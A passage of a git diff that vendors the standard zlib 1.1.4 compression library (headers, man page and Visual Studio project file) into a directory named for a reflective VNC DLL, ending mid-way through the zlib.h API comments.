z_deflateInit_ +# define deflate z_deflate +# define deflateEnd z_deflateEnd +# define inflateInit_ z_inflateInit_ +# define inflate z_inflate +# define inflateEnd z_inflateEnd +# define deflateInit2_ z_deflateInit2_ +# define deflateSetDictionary z_deflateSetDictionary +# define deflateCopy z_deflateCopy +# define deflateReset z_deflateReset +# define deflateParams z_deflateParams +# define inflateInit2_ z_inflateInit2_ +# define inflateSetDictionary z_inflateSetDictionary +# define inflateSync z_inflateSync +# define inflateSyncPoint z_inflateSyncPoint +# define inflateReset z_inflateReset +# define compress z_compress +# define compress2 z_compress2 +# define uncompress z_uncompress +# define adler32 z_adler32 +# define crc32 z_crc32 +# define get_crc_table z_get_crc_table + +# define Byte z_Byte +# define uInt z_uInt +# define uLong z_uLong +# define Bytef z_Bytef +# define charf z_charf +# define intf z_intf +# define uIntf z_uIntf +# define uLongf z_uLongf +# define voidpf z_voidpf +# define voidp z_voidp +#endif + +#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) +# define WIN32 +#endif +#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386) +# ifndef __32BIT__ +# define __32BIT__ +# endif +#endif +#if defined(__MSDOS__) && !defined(MSDOS) +# define MSDOS +#endif + +/* + * Compile with -DMAXSEG_64K if the alloc function cannot allocate more + * than 64k bytes at a time (needed on systems with 16-bit int). + */ +#if defined(MSDOS) && !defined(__32BIT__) +# define MAXSEG_64K +#endif +#ifdef MSDOS +# define UNALIGNED_OK +#endif + +#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) +# define STDC +#endif +#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__) +# ifndef STDC +# define STDC +# endif +#endif + +#ifndef STDC +# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ +# define const +# endif +#endif + +/* Some Mac compilers merge all .h files incorrectly: */ +#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) +# define NO_DUMMY_DECL +#endif + +/* Old Borland C incorrectly complains about missing returns: */ +#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500) +# define NEED_DUMMY_RETURN +#endif + + +/* Maximum value for memLevel in deflateInit2 */ +#ifndef MAX_MEM_LEVEL +# ifdef MAXSEG_64K +# define MAX_MEM_LEVEL 8 +# else +# define MAX_MEM_LEVEL 9 +# endif +#endif + +/* Maximum value for windowBits in deflateInit2 and inflateInit2. + * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files + * created by gzip. (Files created by minigzip can still be extracted by + * gzip.) + */ +#ifndef MAX_WBITS +# define MAX_WBITS 15 /* 32K LZ77 window */ +#endif + +/* The memory requirements for deflate are (in bytes): + (1 << (windowBits+2)) + (1 << (memLevel+9)) + that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) + plus a few kilobytes for small objects. For example, if you want to reduce + the default memory requirements from 256K to 128K, compile with + make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" + Of course this will generally degrade compression (there's no free lunch). + + The memory requirements for inflate are (in bytes) 1 << windowBits + that is, 32K for windowBits=15 (default value) plus a few kilobytes + for small objects. +*/ + + /* Type declarations */ + +#ifndef OF /* function prototypes */ +# ifdef STDC +# define OF(args) args +# else +# define OF(args) () +# endif +#endif + +/* The following definitions for FAR are needed only for MSDOS mixed + * model programming (small or medium model with some far allocations). + * This was tested only with MSC; for other MSDOS compilers you may have + * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, + * just define FAR to be empty. + */ +#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) + /* MSC small or medium model */ +# define SMALL_MEDIUM +# ifdef _MSC_VER +# define FAR _far +# else +# define FAR far +# endif +#endif +#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) +# ifndef __32BIT__ +# define SMALL_MEDIUM +# define FAR _far +# endif +#endif + +/* Compile with -DZLIB_DLL for Windows DLL support */ +#if defined(ZLIB_DLL) +# if defined(_WINDOWS) || defined(WINDOWS) +# ifdef FAR +# undef FAR +# endif +# include +# define ZEXPORT WINAPI +# ifdef WIN32 +# define ZEXPORTVA WINAPIV +# else +# define ZEXPORTVA FAR _cdecl _export +# endif +# endif +# if defined (__BORLANDC__) +# if (__BORLANDC__ >= 0x0500) && defined (WIN32) +# include +# define ZEXPORT __declspec(dllexport) WINAPI +# define ZEXPORTRVA __declspec(dllexport) WINAPIV +# else +# if defined (_Windows) && defined (__DLL__) +# define ZEXPORT _export +# define ZEXPORTVA _export +# endif +# endif +# endif +#endif + +#if defined (__BEOS__) +# if defined (ZLIB_DLL) +# define ZEXTERN extern __declspec(dllexport) +# else +# define ZEXTERN extern __declspec(dllimport) +# endif +#endif + +#ifndef ZEXPORT +# define ZEXPORT +#endif +#ifndef ZEXPORTVA +# define ZEXPORTVA +#endif +#ifndef ZEXTERN +# define ZEXTERN extern +#endif + +#ifndef FAR +# define FAR +#endif + +#if !defined(MACOS) && !defined(TARGET_OS_MAC) +typedef unsigned char Byte; /* 8 bits */ +#endif +typedef unsigned int uInt; /* 16 bits or more */ +typedef unsigned long uLong; /* 32 bits or more */ + +#ifdef SMALL_MEDIUM + /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ +# define Bytef Byte FAR +#else + typedef Byte FAR Bytef; +#endif +typedef char FAR charf; +typedef int FAR intf; +typedef uInt FAR uIntf; +typedef uLong FAR uLongf; + +#ifdef STDC + typedef void FAR *voidpf; + typedef void *voidp; +#else + typedef Byte FAR *voidpf; + typedef Byte *voidp; +#endif + +#ifdef HAVE_UNISTD_H +# include /* for off_t */ +# include /* for SEEK_* and off_t */ +# define z_off_t off_t +#endif +#ifndef SEEK_SET +# define SEEK_SET 0 /* Seek from beginning of file. */ +# define SEEK_CUR 1 /* Seek from current position. */ +# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ +#endif +#ifndef z_off_t +# define z_off_t long +#endif + +/* MVS linker does not support external names larger than 8 bytes */ +#if defined(__MVS__) +# pragma map(deflateInit_,"DEIN") +# pragma map(deflateInit2_,"DEIN2") +# pragma map(deflateEnd,"DEEND") +# pragma map(inflateInit_,"ININ") +# pragma map(inflateInit2_,"ININ2") +# pragma map(inflateEnd,"INEND") +# pragma map(inflateSync,"INSY") +# pragma map(inflateSetDictionary,"INSEDI") +# pragma map(inflate_blocks,"INBL") +# pragma map(inflate_blocks_new,"INBLNE") +# pragma map(inflate_blocks_free,"INBLFR") +# pragma map(inflate_blocks_reset,"INBLRE") +# pragma map(inflate_codes_free,"INCOFR") +# pragma map(inflate_codes,"INCO") +# pragma map(inflate_fast,"INFA") +# pragma map(inflate_flush,"INFLU") +# pragma map(inflate_mask,"INMA") +# pragma map(inflate_set_dictionary,"INSEDI2") +# pragma map(inflate_copyright,"INCOPY") +# pragma map(inflate_trees_bits,"INTRBI") +# pragma map(inflate_trees_dynamic,"INTRDY") +# pragma map(inflate_trees_fixed,"INTRFI") +# pragma map(inflate_trees_free,"INTRFR") +#endif + +#endif /* _ZCONF_H */ diff --git a/external/source/reflective_vncdll/zlib/zlib.3 b/external/source/reflective_vncdll/zlib/zlib.3 new file mode 100644 index 0000000000..8ce7cde387 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zlib.3 @@ -0,0 +1,107 @@ +.TH ZLIB 3 "11 March 2002" +.SH NAME +zlib \- compression/decompression library +.SH SYNOPSIS +[see +.I zlib.h +for full description] +.SH DESCRIPTION +The +.I zlib +library is a general purpose data compression library. +The code is thread safe. +It provides in-memory compression and decompression functions, +including integrity checks of the uncompressed data. +This version of the library supports only one compression method (deflation) +but other algorithms will be added later and will have the same stream interface. +.LP +Compression can be done in a single step if the buffers are large enough +(for example if an input file is mmap'ed), +or can be done by repeated calls of the compression function. +In the latter case, +the application must provide more input and/or consume the output +(providing more output space) before each call. +.LP +The library also supports reading and writing files in +.I gzip +(.gz) format +with an interface similar to that of stdio. +.LP +The library does not install any signal handler. The decoder checks +the consistency of the compressed data, so the library should never +crash even in case of corrupted input. +.LP +All functions of the compression library are documented in the file +.IR zlib.h. +The distribution source includes examples of use of the library +the files +.I example.c +and +.IR minigzip.c . +.LP +A Java implementation of +.IR zlib +is available in the Java Development Kit 1.1 +.IP +http://www.javasoft.com/products/JDK/1.1/docs/api/Package-java.util.zip.html +.LP +A Perl interface to +.IR zlib , +written by Paul Marquess (pmarquess@bfsec.bt.co.uk) +is available at CPAN (Comprehensive Perl Archive Network) sites, +such as: +.IP +ftp://ftp.cis.ufl.edu/pub/perl/CPAN/modules/by-module/Compress/Compress-Zlib* +.LP +A Python interface to +.IR zlib +written by A.M. Kuchling +is available from the Python Software Association sites, such as: +.IP +ftp://ftp.python.org/pub/python/contrib/Encoding/zlib*.tar.gz +.SH "SEE ALSO" +Questions about zlib should be sent to: +.IP +zlib@quest.jpl.nasa.gov +or, if this fails, to the author addresses given below. +The zlib home page is: +.IP +http://www.cdrom.com/pub/infozip/zlib/ +.LP +The data format used by the zlib library is described by RFC +(Request for Comments) 1950 to 1952 in the files: +.IP +ftp://ds.internic.net/rfc/rfc1950.txt (zlib format) +.br +rfc1951.txt (deflate format) +.br +rfc1952.txt (gzip format) +.LP +These documents are also available in other formats from: +.IP +ftp://ftp.uu.net/graphics/png/documents/zlib/zdoc-index.html +.SH AUTHORS +Version 1.1.4 +Copyright (C) 1995-2002 Jean-loup Gailly (jloup@gzip.org) +and Mark Adler (madler@alumni.caltech.edu). +.LP +This software is provided "as-is," +without any express or implied warranty. +In no event will the authors be held liable for any damages +arising from the use of this software. +See the distribution directory with respect to requirements +governing redistribution. +The deflate format used by +.I zlib +was defined by Phil Katz. +The deflate and +.I zlib +specifications were written by L. Peter Deutsch. +Thanks to all the people who reported problems and suggested various +improvements in +.IR zlib ; +who are too numerous to cite here. +.LP +UNIX manual page by R. P. C. Rodgers, +U.S. National Library of Medicine (rodgers@nlm.nih.gov). +.\" end of man page diff --git a/external/source/reflective_vncdll/zlib/zlib.dsp b/external/source/reflective_vncdll/zlib/zlib.dsp new file mode 100644 index 0000000000..693b1d012a --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zlib.dsp @@ -0,0 +1,267 @@ +# Microsoft Developer Studio Project File - Name="zlib" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Static Library" 0x0104 + +CFG=zlib - Win32 Release CORBA DEBUG +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "zlib.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "zlib.mak" CFG="zlib - Win32 Release CORBA DEBUG" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "zlib - Win32 Release" (based on "Win32 (x86) Static Library") +!MESSAGE "zlib - Win32 Debug" (based on "Win32 (x86) Static Library") +!MESSAGE "zlib - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Static Library") +!MESSAGE "zlib - Win32 Release CORBA" (based on "Win32 (x86) Static Library") +!MESSAGE "zlib - Win32 Profile" (based on "Win32 (x86) Static Library") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "zlib - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "zlib - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "zlib - Win32 Release CORBA DEBUG" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "zlib___Win32_Release_CORBA_DEBUG" +# PROP BASE Intermediate_Dir "zlib___Win32_Release_CORBA_DEBUG" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Release_CORBA_DEBUG" +# PROP Intermediate_Dir "..\Release_CORBA_DEBUG" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "zlib - Win32 Release CORBA" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "zlib___Win32_Release_CORBA" +# PROP BASE Intermediate_Dir "zlib___Win32_Release_CORBA" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA" +# PROP Intermediate_Dir "..\Release_CORBA" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "zlib - Win32 Profile" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "zlib___Win32_Profile" +# PROP BASE Intermediate_Dir "zlib___Win32_Profile" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Profile" +# PROP Intermediate_Dir "..\Profile" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD CPP /nologo /MTd /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ENDIF + +# Begin Target + +# Name "zlib - Win32 Release" +# Name "zlib - Win32 Debug" +# Name "zlib - Win32 Release CORBA DEBUG" +# Name "zlib - Win32 Release CORBA" +# Name "zlib - Win32 Profile" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\adler32.c +# End Source File +# Begin Source File + +SOURCE=.\compress.c +# End Source File +# Begin Source File + +SOURCE=.\crc32.c +# End Source File +# Begin Source File + +SOURCE=.\deflate.c +# End Source File +# Begin Source File + +SOURCE=.\gzio.c +# End Source File +# Begin Source File + +SOURCE=.\infblock.c +# End Source File +# Begin Source File + +SOURCE=.\infcodes.c +# End Source File +# Begin Source File + +SOURCE=.\inffast.c +# End Source File +# Begin Source File + +SOURCE=.\inflate.c +# End Source File +# Begin Source File + +SOURCE=.\inftrees.c +# End Source File +# Begin Source File + +SOURCE=.\infutil.c +# End Source File +# Begin Source File + +SOURCE=.\trees.c +# End Source File +# Begin Source File + +SOURCE=.\uncompr.c +# End Source File +# Begin Source File + +SOURCE=.\zutil.c +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\deflate.h +# End Source File +# Begin Source File + +SOURCE=.\infblock.h +# End Source File +# Begin Source File + +SOURCE=.\infcodes.h +# End Source File +# Begin Source File + +SOURCE=.\inffast.h +# End Source File +# Begin Source File + +SOURCE=.\inffixed.h +# End Source File +# Begin Source File + +SOURCE=.\inftrees.h +# End Source File +# Begin Source File + +SOURCE=.\infutil.h +# End Source File +# Begin Source File + +SOURCE=.\trees.h +# End Source File +# Begin Source File + +SOURCE=.\zconf.h +# End Source File +# Begin Source File + +SOURCE=.\zlib.h +# End Source File +# Begin Source File + +SOURCE=.\zutil.h +# End Source File +# End Group +# End Target +# End Project diff --git a/external/source/reflective_vncdll/zlib/zlib.h b/external/source/reflective_vncdll/zlib/zlib.h new file mode 100644 index 0000000000..5979f040c8 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zlib.h @@ -0,0 +1,893 @@ +/* zlib.h -- interface of the 'zlib' general purpose compression library + version 1.1.4, March 11th, 2002 + + Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + + + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). +*/ + +#ifndef _ZLIB_H +#define _ZLIB_H + +#include "zconf.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define ZLIB_VERSION "1.1.4" + +/* + The 'zlib' compression library provides in-memory compression and + decompression functions, including integrity checks of the uncompressed + data. This version of the library supports only one compression method + (deflation) but other algorithms will be added later and will have the same + stream interface. + + Compression can be done in a single step if the buffers are large + enough (for example if an input file is mmap'ed), or can be done by + repeated calls of the compression function. In the latter case, the + application must provide more input and/or consume the output + (providing more output space) before each call. + + The library also supports reading and writing files in gzip (.gz) format + with an interface similar to that of stdio. + + The library does not install any signal handler. The decoder checks + the consistency of the compressed data, so the library should never + crash even in case of corrupted input. +*/ + +typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); +typedef void (*free_func) OF((voidpf opaque, voidpf address)); + +struct internal_state; + +typedef struct z_stream_s { + Bytef *next_in; /* next input byte */ + uInt avail_in; /* number of bytes available at next_in */ + uLong total_in; /* total nb of input bytes read so far */ + + Bytef *next_out; /* next output byte should be put there */ + uInt avail_out; /* remaining free space at next_out */ + uLong total_out; /* total nb of bytes output so far */ + + char *msg; /* last error message, NULL if no error */ + struct internal_state FAR *state; /* not visible by applications */ + + alloc_func zalloc; /* used to allocate the internal state */ + free_func zfree; /* used to free the internal state */ + voidpf opaque; /* private data object passed to zalloc and zfree */ + + int data_type; /* best guess about the data type: ascii or binary */ + uLong adler; /* adler32 value of the uncompressed data */ + uLong reserved; /* reserved for future use */ +} z_stream; + +typedef z_stream FAR *z_streamp; + +/* + The application must update next_in and avail_in when avail_in has + dropped to zero. It must update next_out and avail_out when avail_out + has dropped to zero. The application must initialize zalloc, zfree and + opaque before calling the init function. All other fields are set by the + compression library and must not be updated by the application. + + The opaque value provided by the application will be passed as the first + parameter for calls of zalloc and zfree. This can be useful for custom + memory management. The compression library attaches no meaning to the + opaque value. + + zalloc must return Z_NULL if there is not enough memory for the object. + If zlib is used in a multi-threaded application, zalloc and zfree must be + thread safe. + + On 16-bit systems, the functions zalloc and zfree must be able to allocate + exactly 65536 bytes, but will not be required to allocate more than this + if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, + pointers returned by zalloc for objects of exactly 65536 bytes *must* + have their offset normalized to zero. The default allocation function + provided by this library ensures this (see zutil.c). To reduce memory + requirements and avoid any allocation of 64K objects, at the expense of + compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). + + The fields total_in and total_out can be used for statistics or + progress reports. After compression, total_in holds the total size of + the uncompressed data and may be saved for use in the decompressor + (particularly if the decompressor wants to decompress everything in + a single step). +*/ + + /* constants */ + +#define Z_NO_FLUSH 0 +#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */ +#define Z_SYNC_FLUSH 2 +#define Z_FULL_FLUSH 3 +#define Z_FINISH 4 +/* Allowed flush values; see deflate() below for details */ + +#define Z_OK 0 +#define Z_STREAM_END 1 +#define Z_NEED_DICT 2 +#define Z_ERRNO (-1) +#define Z_STREAM_ERROR (-2) +#define Z_DATA_ERROR (-3) +#define Z_MEM_ERROR (-4) +#define Z_BUF_ERROR (-5) +#define Z_VERSION_ERROR (-6) +/* Return codes for the compression/decompression functions. Negative + * values are errors, positive values are used for special but normal events. + */ + +#define Z_NO_COMPRESSION 0 +#define Z_BEST_SPEED 1 +#define Z_BEST_COMPRESSION 9 +#define Z_DEFAULT_COMPRESSION (-1) +/* compression levels */ + +#define Z_FILTERED 1 +#define Z_HUFFMAN_ONLY 2 +#define Z_DEFAULT_STRATEGY 0 +/* compression strategy; see deflateInit2() below for details */ + +#define Z_BINARY 0 +#define Z_ASCII 1 +#define Z_UNKNOWN 2 +/* Possible values of the data_type field */ + +#define Z_DEFLATED 8 +/* The deflate compression method (the only one supported in this version) */ + +#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ + +#define zlib_version zlibVersion() +/* for compatibility with versions < 1.0.2 */ + + /* basic functions */ + +ZEXTERN const char * ZEXPORT zlibVersion OF((void)); +/* The application can compare zlibVersion and ZLIB_VERSION for consistency. + If the first character differs, the library code actually used is + not compatible with the zlib.h header file used by the application. + This check is automatically made by deflateInit and inflateInit. + */ + +/* +ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level)); + + Initializes the internal stream state for compression. The fields + zalloc, zfree and opaque must be initialized before by the caller. + If zalloc and zfree are set to Z_NULL, deflateInit updates them to + use default allocation functions. + + The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: + 1 gives best speed, 9 gives best compression, 0 gives no compression at + all (the input data is simply copied a block at a time). + Z_DEFAULT_COMPRESSION requests a default compromise between speed and + compression (currently equivalent to level 6). + + deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if level is not a valid compression level, + Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible + with the version assumed by the caller (ZLIB_VERSION). + msg is set to null if there is no error message. deflateInit does not + perform any compression: this will be done by deflate(). +*/ + + +ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); +/* + deflate compresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may introduce some + output latency (reading input without producing any output) except when + forced to flush. + + The detailed semantics are as follows. deflate performs one or both of the + following actions: + + - Compress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in and avail_in are updated and + processing will resume at this point for the next call of deflate(). + + - Provide more output starting at next_out and update next_out and avail_out + accordingly. This action is forced if the parameter flush is non zero. + Forcing flush frequently degrades the compression ratio, so this parameter + should be set only when necessary (in interactive applications). + Some output may be provided even if flush is not set. + + Before the call of deflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating avail_in or avail_out accordingly; avail_out + should never be zero before the call. The application can consume the + compressed output when it wants, for example when the output buffer is full + (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK + and with zero avail_out, it must be called again after making room in the + output buffer because there might be more output pending. + + If the parameter flush is set to Z_SYNC_FLUSH, all pending output is + flushed to the output buffer and the output is aligned on a byte boundary, so + that the decompressor can get all input data available so far. (In particular + avail_in is zero after the call if enough output space has been provided + before the call.) Flushing may degrade compression for some compression + algorithms and so it should be used only when necessary. + + If flush is set to Z_FULL_FLUSH, all output is flushed as with + Z_SYNC_FLUSH, and the compression state is reset so that decompression can + restart from this point if previous compressed data has been damaged or if + random access is desired. Using Z_FULL_FLUSH too often can seriously degrade + the compression. + + If deflate returns with avail_out == 0, this function must be called again + with the same value of the flush parameter and more output space (updated + avail_out), until the flush is complete (deflate returns with non-zero + avail_out). + + If the parameter flush is set to Z_FINISH, pending input is processed, + pending output is flushed and deflate returns with Z_STREAM_END if there + was enough output space; if deflate returns with Z_OK, this function must be + called again with Z_FINISH and more output space (updated avail_out) but no + more input data, until it returns with Z_STREAM_END or an error. After + deflate has returned Z_STREAM_END, the only possible operations on the + stream are deflateReset or deflateEnd. + + Z_FINISH can be used immediately after deflateInit if all the compression + is to be done in a single step. In this case, avail_out must be at least + 0.1% larger than avail_in plus 12 bytes. If deflate does not return + Z_STREAM_END, then it must be called again as described above. + + deflate() sets strm->adler to the adler32 checksum of all input read + so far (that is, total_in bytes). + + deflate() may update data_type if it can make a good guess about + the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered + binary. This field is only for information purposes and does not affect + the compression algorithm in any manner. + + deflate() returns Z_OK if some progress has been made (more input + processed or more output produced), Z_STREAM_END if all input has been + consumed and all output has been produced (only when flush is set to + Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example + if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible + (for example avail_in or avail_out was zero). +*/ + + +ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm)); +/* + All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. + + deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the + stream state was inconsistent, Z_DATA_ERROR if the stream was freed + prematurely (some input or output was discarded). In the error case, + msg may be set but then points to a static string (which must not be + deallocated). +*/ + + +/* +ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm)); + + Initializes the internal stream state for decompression. The fields + next_in, avail_in, zalloc, zfree and opaque must be initialized before by + the caller. If next_in is not Z_NULL and avail_in is large enough (the exact + value depends on the compression method), inflateInit determines the + compression method from the zlib header and allocates all data structures + accordingly; otherwise the allocation will be deferred to the first call of + inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to + use default allocation functions. + + inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_VERSION_ERROR if the zlib library version is incompatible with the + version assumed by the caller. msg is set to null if there is no error + message. inflateInit does not perform any decompression apart from reading + the zlib header if present: this will be done by inflate(). (So next_in and + avail_in may be modified, but next_out and avail_out are unchanged.) +*/ + + +ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); +/* + inflate decompresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may some + introduce some output latency (reading input without producing any output) + except when forced to flush. + + The detailed semantics are as follows. inflate performs one or both of the + following actions: + + - Decompress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in is updated and processing + will resume at this point for the next call of inflate(). + + - Provide more output starting at next_out and update next_out and avail_out + accordingly. inflate() provides as much output as possible, until there + is no more input data or no more space in the output buffer (see below + about the flush parameter). + + Before the call of inflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating the next_* and avail_* values accordingly. + The application can consume the uncompressed output when it wants, for + example when the output buffer is full (avail_out == 0), or after each + call of inflate(). If inflate returns Z_OK and with zero avail_out, it + must be called again after making room in the output buffer because there + might be more output pending. + + If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much + output as possible to the output buffer. The flushing behavior of inflate is + not specified for values of the flush parameter other than Z_SYNC_FLUSH + and Z_FINISH, but the current implementation actually flushes as much output + as possible anyway. + + inflate() should normally be called until it returns Z_STREAM_END or an + error. However if all decompression is to be performed in a single step + (a single call of inflate), the 